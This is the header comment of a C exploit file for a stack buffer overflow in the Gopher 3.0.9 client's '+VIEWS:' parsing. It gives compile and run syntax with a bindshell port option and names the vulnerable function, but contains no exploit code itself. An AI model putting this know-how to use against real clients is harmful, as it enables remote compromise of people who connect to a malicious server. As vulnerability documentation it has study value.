// Gopher <= 3.0.9 (+VIEWS) Remote (Client Side) Buffer Overflow Exploit

/*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ]
* 
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
* 
* compile: 
* gcc xgopher-client.c -o xgopher-client 
* 
* syntax: 
* ./xgopher-client <port> [bindshell port] 
* 
* The Internet Gopher Client is based on the UMN 
* Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology 
* that predates the Web. It presents information as a virtual 
* network-wide filesystem. Modern browsers such as Konqueror 
* can display gopherspace as if it contained files on your 
* local machine (trees, drag and drop, etc.), but the 
* difference is that each file or folder in that tree may be 
* on a different machine. 
* 
* this client contains a remotely exploitable buffer overflow 
* in the processing of "+VIEWS:" information, located in 
* SRC/object/VIews.c in the VIfromLine() function. 
* 
* this is a stack overflow that can be exploited immediately 
* upon the client's connection to an untrusted gopher server. 
* while this is a stack overflow, exploitation of this 
* overflow is not completely standard, and special values 
* will be needed for it to work. (see the first three DEFINEs 
* below) 
* 
* i made this simply to be sure it was possible to exploit, 
* tested successfully on mandrake/9.2 with gopher/3.0.9 
* compiled from source.
